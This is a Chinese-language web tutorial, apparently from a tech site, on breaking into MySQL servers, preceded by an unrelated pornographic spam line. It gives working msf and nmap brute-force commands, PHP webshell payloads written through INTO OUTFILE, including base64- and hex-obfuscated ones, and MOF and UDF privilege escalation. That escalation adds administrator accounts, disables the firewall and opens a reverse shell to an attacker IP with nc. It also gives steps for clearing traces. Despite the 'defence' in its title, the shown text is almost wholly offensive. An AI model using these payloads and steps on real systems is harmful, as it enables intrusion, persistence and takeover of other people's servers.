自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

教你一些MySQL數(shù)據(jù)庫入侵及防御方法

數(shù)據(jù)庫 MySQL 數(shù)據(jù)庫運(yùn)維
在研究 MySQL 數(shù)據(jù)庫安全之余,我們也對(duì) MySQL 如何通過 msf、sqlmap 等來進(jìn)行掃描、漏洞利用、提權(quán)、MySQL 密碼破解和獲取 webshell 等進(jìn)行了詳細(xì)研究。

[[233652]]

在針對(duì)網(wǎng)站滲透中,很多都是跟 MySQL 數(shù)據(jù)庫有關(guān),各種 MySQL 注入、MySQL 提權(quán)、MySQL 數(shù)據(jù)庫 Root 賬號(hào) webshell 獲取等,但沒有一個(gè)對(duì) MySQL 數(shù)據(jù)庫滲透較為全面的總結(jié)。

針對(duì)這種情況我們開展了研究,但技術(shù)的進(jìn)步永無止境,思想有多遠(yuǎn),路就可以走多遠(yuǎn),在研究 MySQL 數(shù)據(jù)庫安全之余,我們也對(duì) MySQL 如何通過 msf、sqlmap 等來進(jìn)行掃描、漏洞利用、提權(quán)、MySQL 密碼破解和獲取 webshell 等進(jìn)行了詳細(xì)研究。

一、MySQL 信息收集

1、端口信息收集

MySQL 默認(rèn)端口是 3306 端口,但也有自定義端口,針對(duì)默認(rèn)端口掃描主要利用掃描軟件進(jìn)行探測(cè),推薦使用:

  • iisputter,直接填寫 3306 端口,IP 地址填寫單個(gè)或者 C 段地址;
  • Nmap 掃描 Nmap -p 3306 192.168.1.1-254。

特定目標(biāo)的滲透,可能需要對(duì)全端口進(jìn)行掃描,可以使用 Nmap 對(duì)某一個(gè) IP 地址進(jìn)行全端口掃描,端口掃描軟件還有 sfind 等 DOS 下掃描的工具。

2、版本信息收集

msf 查看版本信息“auxiliary/scanner/mysql/mysql_version”模塊

以掃描主機(jī) 192.168.157.130 為例,命令為:

 

  1. use auxiliary/scanner/mysql/mysql_version  
  2. set rhosts 192.168.157.130  
  3. run 

 

MySQL 查詢版本命令:

 

  1. SELECT @@version、SELECT  version(); 

sqlmap 通過注入點(diǎn)掃描確認(rèn)信息:

 

  1. sqlmap.py -u url --dbms mysql 

phpmyadmin 管理頁面登錄后查看 localhost->變量->服務(wù)器變量和設(shè)置中的 version 參數(shù)值。

3、數(shù)據(jù)庫管理信息收集

MySQL 管理工具有多種,例如 phpmyadmin 網(wǎng)站管理,Navicat for MySQL 以及 MySQL Front 等客戶端工具。這些工具有的會(huì)直接保存配置信息,這些信息包含數(shù)據(jù)庫服務(wù)器地址和數(shù)據(jù)庫用戶名以及密碼,通過嗅探或者破解配置文件可以獲取密碼等信息。

4、msf 信息收集模塊

MySQL 哈希值枚舉:

 

  1. use auxiliary/scanner/mysql/mysql_hashdump  
  2. set username root  
  3. set password root  
  4. run 

 

獲取相關(guān)信息:

 

  1. use auxiliary/admin/mysql/mysql_enum  
  2. set username root  
  3. set password root  
  4. run 

 

獲取數(shù)據(jù)庫版本,操作系統(tǒng)名稱,架構(gòu),數(shù)據(jù)庫目錄,數(shù)據(jù)庫用戶以及密碼哈希值。

執(zhí)行 MySQL 語句,連接成功后可以在 msf 執(zhí)行 SQL 語句,跟 sqlmap 的“--sql-shell”模塊類似

 

  1. use auxiliary/admin/mysql/mysql_sql 

將mysql_schem導(dǎo)出到本地/root/.msf4/loot/文件夾下

 

  1. use auxiliary/scanner/mysql/mysql_schemadump 

文件枚舉和目錄可寫信息枚舉

 

  1. auxiliary/scanner/mysql/mysql_file_enum  
  2. auxiliary/scanner/mysql/mysql_writable_dirs 

 

沒有測(cè)試成功過,需要定義枚舉目錄和相關(guān)文件,覺得基本沒什么用。

二、MySQL 密碼獲取

1、暴力破解

MySQL 暴力破解主要有幾種:

網(wǎng)頁在線連接破解:

可以使用 burpsuite 和 phpMyAdmin 多線程批量破解工具。

下載:

  • https://portswigger.net/burp/
  • http://pan.baidu.com/s/1c1LD6co

msf 通過命令行進(jìn)行暴力破解:

msf 破解 MySQL 密碼模塊 auxiliary/scanner/mysql/mysql_login,其參數(shù)主要有BLANK_PASSWORDS、BRUTEFORCE_SPEED、DB_ALL_CREDS、DB_ALL_PASS、DB_ALL_USERS、PASSWORD、PASS_FILE、Proxies、RHOSTS、RPORT、STOP_ON_SUCCESS、THREADS、USERNAME、USERPASS_FILE、USER_AS_PASS、USER_FILE、VERBOSE參數(shù)。

對(duì)單一主機(jī)僅僅需要設(shè)置 RHOSTS、RPORT、USERNAME、PASSWORD 和 PASS_FILE,其它參數(shù)根據(jù)實(shí)際情況進(jìn)行設(shè)置。

場(chǎng)景A:對(duì)內(nèi)網(wǎng)獲取 Root 某個(gè)口令后,擴(kuò)展?jié)B透

 

  1. use auxiliary/scanner/mysql/mysql_login  
  2. set RHOSTS 192.168.157.1-254  
  3. set password root  
  4. set username root  
  5. run 

 

執(zhí)行后對(duì) 192.168.157.1-254 進(jìn)行 MySQL 密碼掃描驗(yàn)證。

場(chǎng)景B:使用密碼字典進(jìn)行掃描

 

  1. use auxiliary/scanner/mysql/mysql_login  
  2. set RHOSTS 192.168.157.1-254  
  3. set pass_file /tmp/password.txt  
  4. set username root  
  5. run 

使用 nmap 掃描并破解密碼:

對(duì)某一個(gè) IP 或者 IP 地址段進(jìn)行 nmap 默認(rèn)密碼暴力破解并掃描

 

  1. nmap --script=mysql-brute 192.168.157.130  
  2. nmap --script=mysql-brute 192.168.157.1-254 

 

使用 Root 賬號(hào) Root 密碼進(jìn)行 MySQL 密碼驗(yàn)證并掃描獲取指定 IP 地址的端口信息以及 MySQL 數(shù)據(jù)庫相關(guān)信息

 

  1. nmap -sV --script=mysql-databases --script-argsmysqluser=root,mysqlpass=root 192.168.157.130 

檢查 Root 空口令

  1. nmap --script mysql-empty-password 192.168.195.130 

對(duì) MySQL 口令進(jìn)行掃描:

使用 hscan 工具對(duì) MySQL 口令進(jìn)行掃描,需要設(shè)置掃描 IP 地址段以及數(shù)據(jù)庫口令字典及用戶名字典。

2、源代碼泄露

網(wǎng)站源代碼備份文件:

一些網(wǎng)站源代碼文件中會(huì)包含數(shù)據(jù)庫連接文件,通過查看這些文件可以獲取數(shù)據(jù)庫賬號(hào)和密碼。一般常見的數(shù)據(jù)庫連接文件為 config.php、web.config、conn.asp、db.php/asp、jdbc.properties、sysconfig.properties、JBOSS_HOME\docs\examples\jca\XXXX-ds.xml。以前有一款工具挖掘雞可以自定義網(wǎng)站等名稱對(duì) zip/rar/tar/tar.gz/gz/sql 等后綴文件進(jìn)行掃描。

配置備份文件:

使用 ultraedit 等編輯文件編輯數(shù)據(jù)庫配置文件后,會(huì)留下 bak 文件。

3、文件包含

本地文件包含漏洞可以包含文件,通過查看文件代碼獲取數(shù)據(jù)庫配置文件,進(jìn)而讀取數(shù)據(jù)庫用戶名和密碼。

4、其它情況

有些軟件會(huì)將 IP 地址、數(shù)據(jù)庫用戶名和密碼寫進(jìn)程序中,運(yùn)行程序后,通過 cain 軟件進(jìn)行嗅探,可以獲取數(shù)據(jù)庫密碼。另外 MySQL客戶端管理工具有的管理員會(huì)建立連接記錄,這些連接記錄保存了用戶名、密碼和連接 IP 地址或者主機(jī)名,通過配置文件或者嗅探可以獲取用戶名和密碼。

三、MySQL 獲取 webshell

1、phpmyadminroot 賬號(hào)獲取 webshell

MySQL Root 賬號(hào)通過 phpMyAdmin 獲取 webshell 的思路,主要有下面幾種方式,以第1)2)6)8)方法較佳,其它可以根據(jù)實(shí)際情況來進(jìn)行。

1)直接讀取后門文件:

通過程序報(bào)錯(cuò)、phpinfo 函數(shù)、程序配置表等直接獲取網(wǎng)站真實(shí)路徑,有些網(wǎng)站前期已經(jīng)被人滲透過,因此在目錄下留有后門文件通過 load_file 直接讀取。

2)直接導(dǎo)出一句話后門:

前提需要知道網(wǎng)站的真實(shí)物理路徑,例如呼求偶真實(shí)路徑 D:\work\WWW,則可以通過執(zhí)行以下查詢,來獲取一句話后門文件 cmd.php,訪問地址:http://www.somesite.com/cmd.php

 

  1. select '<?php @eval($_POST[antian365]);?>'INTO OUTFILE 'D:/work/WWW/antian365.php' 

3)創(chuàng)建數(shù)據(jù)庫導(dǎo)出一句話后門:

在查詢窗口直接執(zhí)行以下代碼即可,跟2)原理類似

 

  1. CREATE TABLE `mysql`.`antian365` (`temp` TEXT NOTNULL );  
  2. INSERT INTO `mysql`.`antian365` (`temp` ) VALUES('<?php @eval($_POST[antian365]);?>');  
  3. SELECT `tempFROM `antian365` INTO OUTFILE'D:/www/antian365.php' 
  4. DROP TABLE IF EXISTS `antian365`; 

4)可執(zhí)行命令方式:

創(chuàng)建執(zhí)行命令形式的 Shell,但前提是對(duì)方未關(guān)閉系統(tǒng)函數(shù)。該方法導(dǎo)出成功后可以直接執(zhí)行 DOS 命令,使用方法:www.xxx.com/antian365.php?cmd=(cmd=后面直接執(zhí)行dos命令)

 

  1. select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'd:/www/antian365.php' 

另外在 Linux 下可以導(dǎo)出直接執(zhí)行命令的 Shell

 

  1. SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php'
  2. http://localhost/shell.php?c=cat%20/etc/passwd

5)過殺毒軟件方式:

通過后臺(tái)或者存在上傳圖片的地方,上傳圖片 publicguide.jpg,內(nèi)容如下

 

  1. <?php$a=' PD9waHAgQGV2YWwoJF9QT1NUWydhbnRpYW4zNjUnXSk7ZGllKCk7Pz4=';error_reporting(0);@set_time_limit(0);eval("?>".base64_decode($a));?> 

然后通過圖片包含 temp.php,導(dǎo)出 webshell

 

  1. select '<?php include 'publicguide.jpg' ?>'INTO OUTFILE 'D:/work/WWW/antian365.php' 

一句話后門密碼:antian365

6)直接導(dǎo)出加密 webshell:

一句話后門文件密碼:pp64mqa2x1rnw68,執(zhí)行以下查詢直接導(dǎo)出加密 webshell,D:/WEB/IPTEST/22.php,注意在實(shí)際過程需要修改 D:/WEB/IPTEST/22.php

 

  1. select unhex('203C3F7068700D0A24784E203D2024784E2E737562737472282269796234327374725F72656C6750383034222C352C36293B0D0A246C766367203D207374725F73706C697428226D756B3961773238776C746371222C36293B0D0A24784E203D2024784E2E73756273747228226C396364706C616365704172424539646B222C342C35293B0D0A246A6C203D2073747269706F732822657078776B6C3766363674666B74222C226A6C22293B0D0A2474203D2024742E737562737472282274514756325957774A63567534222C312C36293B0D0A2465696137203D207472696D28226A386C32776D6C34367265656E22293B0D0A2462203D2024622E73756273747228226B6261736536346B424474394C366E6D222C312C36293B0D0A246967203D207472696D28226233397730676E756C6922293B0D0A2479203D2024792E24784E28227259222C22222C22637259726572596122293B0D0A24797531203D207374725F73706C697428226269316238376D3861306F3678222C32293B0D0A2474203D2024742E24784E282278413678222C22222C2277784136786F4A463922293B0D0A246E64203D2073747269706F7328226E363574383872786E303265646A336630222C226E6422293B0D0A2462203D2024622E24784E282277493339222C22222C225F774933396477493339656322293B0D0A2468387073203D207374725F73706C697428226B6E396A3968346D6877676633666A6970222C33293B0D0A2479203D2024792E7375627374722822687974655F66756E775669535645344A222C322C36293B0D0A24796637203D207374726C656E282275656875343967367467356B6F22293B0D0A2474203D2024742E24784E28226670222C22222C22516670546670314E667022293B0D0A246D39203D207374726C656E282265756C363034636F626B22293B0D0A2462203D2024622E73756273747228226C3057316F64656C413165536E454A222C342C33293B0D0A2468306277203D207472696D28226E33653568306371746F6B76676F6238747822293B0D0A2479203D2024792E24784E28227962222C22222C2263796274696F22293B0D0A24733761203D20727472696D2822617565627963396734743564386B22293B0D0A2474203D2024742E7375627374722822624D73306E4268383355577964222C392C34293B0D0A2464353971203D2073747269706F732822636A7675636B6F79357766336F746561222C226435397122293B0D0A2479203D2024792E73756273747228226E4439487851534C386E6752222C392C31293B0D0A246C31203D207374725F73706C697428226167717130396762716E31222C34293B0D0A2474203D2024742E24784E282277366F34222C22222C2277634477366F345977366F343022293B0D0A247079203D2073747269706F7328226C677938687472727631746333222C22707922293B0D0A2474203D2024742E24784E282265503332222C22222C22625846655033326822293B0D0A2478703364203D2073747269706F732822756B6C306E626E7839677433222C227870336422293B0D0A2474203D2024742E7375627374722822696B4A3030484A4D6E677863222C372C35293B0D0A2464743262203D207374726C656E282265346135616275616A7733766C6369726122293B0D0A2474203D2024742E737562737472282263644E314B78656D35334E776D456838364253222C372C34293B0D0A2475626A203D207374726C656E28227767686A6E6674326F70356B7831633038367422293B0D0A2474203D2024742E73756273747228226D34616F7864756A676E58536B63784C344657635964222C372C36293B0D0A247178203D207374726C656E2822726C71666B6B6674726F3867666B6F37796122293B0D0A2474203D2024742E7375627374722822723779222C312C31293B0D0A246D75203D20727472696D28226E676478777578357671653122293B0D0A246A203D2024792822222C20246228247429293B0D0A24626E6C70203D207374726C656E28227675667930616B316679617622293B0D0A24736468203D207374725F73706C69742822776D6E6A766733633770306D222C34293B0D0A246D62203D206C7472696D28226E353270317067616570656F6B6622293B0D0A2465307077203D20727472696D28227575346D686770356339706E613465677122293B0D0A24756768203D207472696D282272637064336F3977393974696F3922293B0D0A246772636B203D207374726C656E2822783572697835627031786B793722293B0D0A24656F3674203D207374726C656E282264646931683134656375797563376422293B246A28293B0D0A2464766E71203D207374725F73706C6974282270726D36676968613176726F333630346175222C38293B0D0A24756738203D20727472696D28226563387735327375706234767538656F22293B0D0A24726374203D2073747269706F73282268786536776F37657764386D65376474222C2272637422293B0D0A24656B7166203D207374725F73706C69742822707266357930386538666C6666773032356A38222C38293B0D0A24767972203D207374725F73706C69742822756D706A63737266673668356E64366F3435222C39293B0D0A24777266203D20727472696D282266797839396F3739333868377567716822293B0D0A24713134203D207374726C656E2822746334366F73786C3173743169633222293B0D0A66756E6374696F6E206F2820297B2020207D3B0D0A24757366203D207374726C656E2822666C7463707862377466626A736D7422293B0D0A3F3E'into dumpfile 'D:/WEB/IPTEST/22.php' 

注意:也可以使用 http://tool.lu/hexstr/ 網(wǎng)站的代碼轉(zhuǎn)換來實(shí)現(xiàn),將需要導(dǎo)出的文件代碼復(fù)制到網(wǎng)站的字符串中,通過字符串轉(zhuǎn)成十六進(jìn)制,將十六進(jìn)制字符串放入 unhex 函數(shù)進(jìn)行查詢即可

  1. select unhex('十六進(jìn)制字符串'into dumpfile 'D:/WEB/shell.php' 

7)CMS 系統(tǒng)獲取 webshell:

有些情況下無法獲取網(wǎng)站的真實(shí)路徑,則意味著無法直接導(dǎo)出一句話 webshell,可以通過 CMS 系統(tǒng)管理賬號(hào)登錄系統(tǒng)后,尋找漏洞來突破,例如 dedecms 可以通過破解管理員賬號(hào)后直接上傳文件來獲取 webshell。Discuz!的 UC_key 可以直接獲取 webshell。甚至某些系統(tǒng)可直接上傳 php 文件。下面是一些 CMS 系統(tǒng)滲透的技巧:

dedecms 系統(tǒng)的密碼有直接 md5,也有20位的密碼,如果是20位的密碼則需要去掉密碼中的前3位和最后1位,然后對(duì)剩余的值進(jìn)行md5解密即可;

phpcms v9 版本的密碼需要加 salt 進(jìn)行破解,需要選擇破解算法 md5(md5($pass).$salt) 進(jìn)行破解;

Discuz!論壇帳號(hào)保存在 ucenter_members(Discuz7.X及以上版本)或者cdb_members(discuz6.x版本)表中,其破解需要帶salt進(jìn)行,其破解時(shí)是使用password:salt進(jìn)行,例如 a0513df9929afc972f024fa4e586e829:399793。

8)general_log_file 獲取 webshell:

查看 genera 文件配置情況

 

  1. show global variables like "%genera%"

關(guān)閉 general_log

 

  1. set global general_log=off

通過 general_log 選項(xiàng)來獲取 webshell

 

  1. set global general_log='on' 
  2. SET global general_log_file='D:/phpStudy/WWW/cmd.php'

 

在查詢中執(zhí)行語句

 

  1. SELECT '<?php assert($_POST["cmd"]);?>'

Shell 為 cmd.php,一句話后門,密碼為cmd。

2、Sqlmap 注入點(diǎn)獲取 webshell

Sqlmap 注入點(diǎn)獲取 webshell 的前提是具備寫權(quán)限,一般是 Root 賬號(hào),通過執(zhí)行命令來獲取

 

  1. sqlmap -u url--os-shell 
  2.  
  3.   echo "<?php @eval($_POST['c']);?>" >/data/www/1.php 

四、MySQL 提權(quán)

1、mof提權(quán)

webshell 上傳 mof 文件提權(quán):

MySQL Root 權(quán)限 MOF 方法提權(quán)是來自國外 Kingcope 大牛發(fā)布的 MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit(https://www.exploit-db.com/exploits/23083/),簡(jiǎn)稱 MySQL 遠(yuǎn)程提權(quán) 0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day)。Windows 管理規(guī)范 (WMI) 提供了以下三種方法編譯到 WMI 存儲(chǔ)庫的托管對(duì)象格式 (MOF) 文件:

  • 方法1:運(yùn)行 MOF 文件指定為命令行參數(shù) Mofcomp.exe 文件;
  • 方法2:使用 IMofCompiler 接口和 $ CompileFile 方法;
  • 方法3:拖放到 %SystemRoot%\System32\Wbem\MOF 文件夾的 MOF 文件。

Microsoft 建議您到存儲(chǔ)庫編譯 MOF 文件使用前兩種方法。也就是運(yùn)行 Mofcomp.exe 文件,或使用 IMofCompiler::CompileFile 方法。第三種方法僅為向后兼容性與早期版本的 WMI 提供,并因?yàn)榇斯δ芸赡懿粫?huì)提供在將來的版本后,不應(yīng)使用。注意使用 MOF 方法提權(quán)的前提是當(dāng)前 Root 帳號(hào)可以復(fù)制文件到 %SystemRoot%\System32\Wbem\MOF 目錄下,否則會(huì)失敗!

該漏洞的利用前提條件是必須具備 MySQL 的 Root 權(quán)限,在 Kingcope 公布的 0day 中公布了一個(gè) pl 利用腳本。

 

  1. perl mysql_win_remote.pl 192.168.2.100 root "" 192.168.2.150 5555 

192.168.2.100 為 MySQL 數(shù)據(jù)庫所在服務(wù)器,MySQL 口令為空,反彈到 192.168.2.150 的 5555 端口上。

生成 nullevt.mof 文件:

將以下代碼保存為nullevt.mof文件:

 

  1. #pragma namespace("\\\\.\\root\\subscription")   
  2. instance of __EventFilter as $EventFilter  
  3. {   
  4. EventNamespace = "Root\\Cimv2";   
  5. Name  = "filtP2";   
  6.     Query = "Select * From __InstanceModificationEvent "   
  7.             "Where TargetInstance Isa \"Win32_LocalTime\" "   
  8.             "And TargetInstance.Second = 5";   
  9. QueryLanguage = "WQL";   
  10. };   
  11. instance of ActiveScriptEventConsumer as $Consumer   
  12. {   
  13.     Name = "consPCSV2";   
  14. ScriptingEngine = "JScript";   
  15. ScriptText =   
  16.     "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";   
  17. };   
  18. instance of __FilterToConsumerBinding  
  19. {   
  20.     Consumer   = $Consumer;   
  21.     Filter = $EventFilter;   
  22. }; 

 

通過 MySQL 查詢將文件導(dǎo)入:

執(zhí)行以下查詢語句,將上面生成的 nullevt.mof 導(dǎo)入到 c:\windows\system32\wbem\mof\ 目錄下在windows7 中默認(rèn)是拒絕訪問的。導(dǎo)入后系統(tǒng)會(huì)自動(dòng)運(yùn)行,執(zhí)行命令

 

  1. selectload_file('C:\\RECYCLER\\nullevt.mof'into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'

msf 直接 mof 提權(quán):

msf 下的 exploit/windows/mysql/mysql_mof 模塊提供了直接 mof 提權(quán),不過該漏洞成功跟操作系統(tǒng)權(quán)限和 MySQL 數(shù)據(jù)庫版本有關(guān),執(zhí)行成功后會(huì)直接反彈 Shell 到 meterpreter

 

  1. use exploit/windows/mysql/mysql_mof  
  2. set rhost 192.168.157.1 //設(shè)置需要提權(quán)的遠(yuǎn)程主機(jī)IP地址  
  3. set rport 3306 //設(shè)置mysql的遠(yuǎn)程端口  
  4. set password root //設(shè)置mysql數(shù)據(jù)庫root密碼  
  5. set username root //設(shè)置mysql用戶名  
  6. options //查看設(shè)置 
  7. run 0 

技巧:要是能夠通過網(wǎng)頁連接管理(phpmyadmin),則可以修改 host 為“%”并刷新權(quán)限后,則可以通過 msf 等工具遠(yuǎn)程連接數(shù)據(jù)庫。默認(rèn) Root 等賬號(hào)不允許遠(yuǎn)程連接,除非管理員或者數(shù)據(jù)庫用戶自己設(shè)置。

方法1:本地登入 MySQL,更改 "MySQL" 數(shù)據(jù)庫里的 "user" 表里的 "host" 項(xiàng),將"localhost"改為"%"

 

  1. use mysql;  
  2.  update user set host = '%' where user = 'root' 
  3. FLUSH PRIVILEGES ;  
  4.  select host, user from user

方法2:直接授權(quán)(推薦)

從任何主機(jī)上使用 Root 用戶,密碼:youpassword(你的root密碼)連接到 MySQL 服務(wù)器

 

  1. # mysql -u root -proot  
  2. GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'youpassword' WITH GRANT OPTION 
  3. FLUSH PRIVILEGES

推薦重新增加一個(gè)用戶,在實(shí)際測(cè)試過程中發(fā)現(xiàn)很多服務(wù)器使用 Root 配置了多個(gè)地址,修改后可能會(huì)影響實(shí)際系統(tǒng)的運(yùn)行。在實(shí)際測(cè)試過程中因此建議新增一個(gè)用戶,授權(quán)所有權(quán)限,而不是直接更改 Root 配置。

2、udf 提權(quán)

UDF 提權(quán)是利用 MySQL 的自定義函數(shù)功能,將 MySQL 賬號(hào)轉(zhuǎn)化為系統(tǒng) system 權(quán)限,利用條件的目標(biāo)系統(tǒng)是 Windows(Win2000/XP/2003);擁有 MySQL 的某個(gè)用戶賬號(hào),此賬號(hào)必須有對(duì) MySQL 的 insert 和 delete 權(quán)限以創(chuàng)建和拋棄函數(shù),有 Root 賬號(hào)密碼Windows 下 UDF 提權(quán)對(duì)于 Windows2008 以下服務(wù)器比較適用,也即針對(duì) Windows2000、Windows2003 的成功率較高。

UDF 提權(quán)條件:

  • MySQL 版本大于 5.1 版本 udf.dll 文件必須放置于 MySQL 安裝目錄下的 lib\plugin 文件夾下。
  • MySQL 版本小于 5.1 版本。udf.dll 文件在 Windows2003 下放置于 c:\windows\system32,在 Windows2000 下放置于 c:\winnt\system32。
  • 掌握的 MySQL 數(shù)據(jù)庫的賬號(hào)有對(duì) MySQL 的 insert 和 delete 權(quán)限以創(chuàng)建和拋棄函數(shù),一般以 Root 賬號(hào)為佳,具備 Root 賬號(hào)所具備的權(quán)限的其它賬號(hào)也可以。
  • 可以將 udf.dll 寫入到相應(yīng)目錄的權(quán)限。

提權(quán)方法:

獲取數(shù)據(jù)庫版本、數(shù)據(jù)位置以及插件位置等信息

 

  1. select version();//獲取數(shù)據(jù)庫版本  
  2. select user();//獲取數(shù)據(jù)庫用戶  
  3. select @@basedir ;//獲取安裝目錄  
  4. show variables like '%plugins%';  //尋找mysql安裝路徑 

 

導(dǎo)出路徑

 

  1. C:\Winnt\udf.dll    Windows 2000  
  2. C:\Windows\udf.dll   Windows2003(有的系統(tǒng)被轉(zhuǎn)義,需要改為C:Windowsudf.dll) 

MySQL 5.1 以上版本,必須要把 udf.dll 文件放到 MySQL 安裝目錄下的 libplugin 文件夾下才能創(chuàng)建自定義函數(shù)。該目錄默認(rèn)是不存在的,這就需要我們使用 webshell 找到 MySQL 的安裝目錄,并在安裝目錄下創(chuàng)建 libplugin 文件夾,然后將 udf.dll 文件導(dǎo)出到該目錄即可。

在某些情況下,我們會(huì)遇到 Can't open shared library 的情況,這時(shí)就需要我們把 udf.dll 導(dǎo)出到 lib\plugin 目錄下才可以,網(wǎng)上大牛發(fā)現(xiàn)利用 NTFS ADS 流來創(chuàng)建文件夾的方法

 

  1. select @@basedir;  //查找到mysql的目錄  
  2. select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';   //利用NTFS ADS創(chuàng)建lib目錄  
  3. select 'It is dll' into d 
  4. umpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS創(chuàng)建plugin目錄

執(zhí)行成功以后就會(huì) plugin 目錄,然后再進(jìn)行導(dǎo)出 udf.dll 即可。

創(chuàng)建 cmdshell 函數(shù),該函數(shù)叫什么名字在后續(xù)中則使用該函數(shù)進(jìn)行查詢

 

  1. create function cmdshell returns string soname ‘lib_mysqludf_sys.dll’; 

執(zhí)行命令

 

  1. select sys_eval(‘whoami’); 

一般情況下不會(huì)出現(xiàn)創(chuàng)建不成功哦。連不上 3389 可以先停止 windows 防火墻和篩選

 

  1. select sys_eval(‘net stop policyagent’);  
  2. select sys_eval(‘net stop sharedaccess’); 

 

udf.dll 下常見函數(shù)

cmdshell  執(zhí)行cmd;

downloader  下載者,到網(wǎng)上下載指定文件并保存到指定目錄;

open3389    通用開3389終端服務(wù),可指定端口(不改端口無需重啟);

backshell   反彈Shell;

ProcessView 枚舉系統(tǒng)進(jìn)程;

KillProcess 終止指定進(jìn)程;

regread     讀注冊(cè)表;

regwrite    寫注冊(cè)表;

shut        關(guān)機(jī),注銷,重啟;

about       說明與幫助函數(shù);

具體用戶示例

 

  1. select cmdshell('net user iis_user 123!@#abcABC /add');  
  2. select cmdshell('net localgroup administrators iis_user /add');  
  3. select cmdshell('regedit /s d:web3389.reg');  
  4. select cmdshell('netstat -an'); 

 

清除痕跡

 

  1. drop function cmdshell;//將函數(shù)刪除 

刪除 udf.dll 文件以及其它相關(guān)入侵文件及日志。

常見錯(cuò)誤

 

  1. #1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement  
  2. SHOW VARIABLES LIKE "secure_file_priv" 

 

在 my.ini 或者 mysql.cnf  文件中注銷 (使用#號(hào)) 包含 secure_file_priv 的行。

 

  1. 1123 - Can't initialize function 'backshell'; UDFs are unavailable with the --skip-grant-tables option,需要將 my.ini 中的 skip-grant-tables 選項(xiàng)去掉。 

webshell 下 udf 提權(quán):

通過集成 udf 提權(quán)的 webshell 輸入數(shù)據(jù)庫用戶名及密碼以及數(shù)據(jù)庫服務(wù)器地址或者IP通過連接后導(dǎo)出進(jìn)行提權(quán)。

MySQL 提權(quán)綜合利用工具:

v5est0r 寫了一個(gè) MySQL 提權(quán)綜合利用工具,詳細(xì)情況請(qǐng)參考其代碼共享網(wǎng)站:https://github.com/v5est0r/Python_FuckMySQL,其主要功能有:

  • 自動(dòng)導(dǎo)出你的 backdoor 和 mof 文件;
  • 自動(dòng)判斷 MySQL 版本,根據(jù)版本不同導(dǎo)出 UDF 的 DLL 到不同目錄,UDF 提權(quán);
  • 導(dǎo)出 LPK.dll 文件,劫持系統(tǒng)目錄提權(quán);
  • 寫啟動(dòng)項(xiàng)提權(quán)。

UdF 自動(dòng)提權(quán)

 

  1. python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m udf 

LPK 劫持提權(quán)

 

  1. python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m lpk 

啟動(dòng)項(xiàng)提權(quán)

 

  1. python root.py -a 127.0.0.1 -p root -e "ver&whoami" –mst 

例如通過 LOAD_FILE 來查看 MySQL 配置文件 my.ini,如果其中配置了 skip-grant-tables,這無法進(jìn)行提權(quán)。

3、無法獲取 webshell 提權(quán)

連接 MySQL:

  1. mysql.exe -h ip -uroot -p  
  2. phpmyadmin  
  3. Navicat for MySQL 

 

查看數(shù)據(jù)庫版本和數(shù)據(jù)路徑:

 

  1. SELECT VERSION( );  
  2. Select @@datadir; 

 

5.1 以下版本,將 dll 導(dǎo)入到 c:/windows 或者 c:/windows/system32/

5.1 以上版本 通過以下查詢來獲取插件路徑

 

  1. SHOW VARIABLES WHERE Variable_Name LIKE "%dir" 
  2. show variables like '%plugin%' ;  
  3. select load_file('C:/phpStudy/Apache/conf/httpd.conf' 
  4. select load_file('C:/phpStudy/Apache/conf/vhosts.conf' 
  5. select load_file('C:/phpStudy/Apache/conf/extra/vhosts.conf' 
  6. select load_file('C:/phpStudy/Apache/conf/extra/httpd.conf' 
  7. select load_file('d:/phpStudy/Apache/conf/vhosts.conf'

修改 MySQL.txt:

MySQL.txt 為 udf.dll 的二進(jìn)制文件轉(zhuǎn)成十六進(jìn)制代碼。

  • 先執(zhí)行導(dǎo)入 ghost 表中的內(nèi)容,修改以下代碼的末尾代碼:select backshell("YourIP",4444);
  • 導(dǎo)出文件到某個(gè)目錄

導(dǎo)出過程:

 

  1. select data from Ghost into dumpfile 'c:/windows/mysqldll.dll';   
  2. select data from Ghost into dumpfile 'c:/windows/system32/mysqldll';   
  3. select data from Ghost into dumpfile 'c:/phpStudy/MySQL/lib/plugin/mysqldll';   
  4. select data from Ghost into dumpfile 'E:/PHPnow-1.5.6/MySQL-5.0.90/lib/plugin/mysqldll';   
  5. select data from Ghost into dumpfile 'C:/websoft/MySQL/MySQL Server 5.5/lib/plugin/mysqldll.dll'   
  6. select data from Ghost into dumpfile 'D:/phpStudy/MySQL/lib/plugin/mysqldll.dll';   
  7. C:\ProgramData\MySQL\MySQL Server 5.1\Data\mysql/user.myd  
  8. select load_file('C:/ProgramData/MySQL/MySQL Server 5.1/Data/mysql/user.frm');  
  9. select data from Ghost into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib/plugin/mysqldll.dll' 

 

  • 查看 FUNCTION 中是否存在 cmdshell 和 backshell,存在則刪除

 

  1. drop FUNCTION cmdshell;//刪除cmdshell  
  2. drop FUNCTION backshell;//刪除backshell 

 

  • 創(chuàng)建backshell
  1. CREATE FUNCTION backshell RETURNS STRING SONAME 'mysqldll.dll'; //創(chuàng)建backshell 
  • 在具備獨(dú)立主機(jī)的服務(wù)器上執(zhí)行監(jiān)聽
  1. nc -vv -l -p 44444 
  • 執(zhí)行查詢

 

  1. select backshell("192.192.192.1",44444);//修改192.192.192.1為你的IP和端口 

獲取 webshell 后添加用戶命令:

注意如果不能直接執(zhí)行,則需要到 c:\windows\system32\ 下執(zhí)行

 

  1. net user antian365 Www.Antian365.Com /add   
  2. net localgroup administrators antian365 

4、Sqlmap 直連數(shù)據(jù)庫提權(quán)

